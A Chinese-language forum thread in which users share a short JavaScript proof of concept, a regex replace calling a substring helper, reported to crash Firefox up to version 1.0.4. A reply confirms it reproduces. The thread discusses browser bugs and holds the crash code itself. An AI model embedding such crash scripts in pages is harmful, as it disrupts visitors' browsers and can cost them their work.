raphael 寫:
http://www.threadwatch.org/node/2546
用javascript搞爛Fx的方法，包含1.04在內也一樣掛...
<script>
function crash2(a) {
return a.substring(0, 1);
}
function crash() {
" ".replace(/( )/, crash2("$1"));
}
</script>
唔......用的人一多漏洞也開始被快速發現了嗎？
看樣子1.04大概也不會留很久...
用javascript搞爛Fx的方法，包含1.04在內也一樣掛...
<script>
function crash2(a) {
return a.substring(0, 1);
}
function crash() {
" ".replace(/( )/, crash2("$1"));
}
</script>
唔......用的人一多漏洞也開始被快速發現了嗎？
看樣子1.04大概也不會留很久...
剛剛試了一下, 酷耶! v1.0.4照掛不誤!
